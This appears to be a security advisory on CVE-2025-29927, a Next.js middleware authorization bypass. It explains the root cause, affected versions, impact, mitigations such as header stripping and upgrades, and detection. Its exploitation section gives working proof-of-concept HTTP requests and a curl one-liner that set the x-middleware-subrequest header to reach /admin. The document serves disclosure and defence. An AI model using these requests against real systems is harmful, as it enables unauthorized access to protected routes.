CVE‑2025‑29927 – Next.js Middleware Authorization Bypass
CVE‑2025‑29927 is a critical vulnerability (CVSS 9.1) in Next.js that allows attackers to bypass middleware‑based security checks.
Overview
CVE‑2025‑29927 is a critical vulnerability (CVSS 9.1) in Next.js that allows attackers to bypass middleware‑based security checks such as authentication, access control, and redirects.
The issue affects applications deployed with next start or standalone output and occurs due to improper handling of the internal x‑middleware‑subrequest HTTP header. By crafting requests that include this header, an attacker can trick Next.js into skipping middleware execution, leading to unauthorized access to protected endpoints (e.g., /admin).
Affected Versions
The following ranges are confirmed vulnerable:
- 11.x: from 11.1.4 up to the latest 11.x release
- 12.x: from 12.0.0 up to 12.3.4
- 13.x: from 13.0.0 up to 13.5.8
- 14.x: from 14.0.0 up to 14.2.24
- 15.x: from 15.0.0 up to 15.2.2
Root Cause – Why This Happens
Next.js uses the header x‑middleware‑subrequest internally to mark requests as subrequests initiated by middleware. This prevents infinite recursion when middleware calls endpoints that themselves invoke middleware.
However, this header was never intended to be user‑controlled. If an external client sets it manually, Next.js assumes the request is internal and skips the middleware execution entirely, resulting in a complete authorization bypass.
In Next.js 15.x, the behavior changed slightly: middleware calls are limited by a MAX_RECURSION_DEPTH of 5. But by supplying the header with 5 values, an attacker can still hit this condition and bypass the middleware.
Exploitation
1. Basic Bypass
For versions prior to v15, a single x‑middleware‑subrequest value is enough:
1
2
3
GET /admin HTTP/1.1
Host: vulnerable-site.com
x-middleware-subrequest: middleware
2. Recursive‑Depth Bypass (v15.x)
For v15.x, the attacker must include the value repeated five times to hit the recursion depth limit:
1
2
3
GET /admin HTTP/1.1
Host: vulnerable-site.com
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
cURL PoC:
1
curl -L --request GET "https://target.com/admin" --header "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
If /admin was protected only by middleware, the attacker now gains direct access.
Impact
- Authentication & Authorization Bypass – Direct access to protected routes (
/admin,/api/private). - Cache Poisoning / DoS – Malformed or unauthorized responses may get cached, impacting other users.
- Privilege Escalation – If backend logic relies solely on middleware checks, attackers may escalate privileges.
Mitigation
1. Upgrade
Upgrade to 14.2.25, 15.2.3, or later.
2. Strip the Header
If upgrading isn’t immediately possible, strip this header at the proxy or app server:
Nginx:
1
proxy_set_header x-middleware-subrequest "";
Apache:
1
RequestHeader unset x-middleware-subrequest
Express.js middleware:
1
2
3
4
app.use((req, res, next) => {
delete req.headers['x-middleware-subrequest'];
next();
});
3. Add Defense‑in‑Depth
Do not rely solely on middleware for authorization—enforce access checks at the API/controller level.
Detection
- Log Analysis: Look for external requests containing the
x-middleware-subrequestheader. - WAF/IDS: Deploy updated detection rules (e.g., Snort, F5, Check Point) that block this header.
References
Takeaway
If your Next.js app uses middleware for access control and runs on next start or standalone mode — patch now. Until then, strip the x‑middleware‑subrequest header and enforce redundant authorization checks on sensitive routes.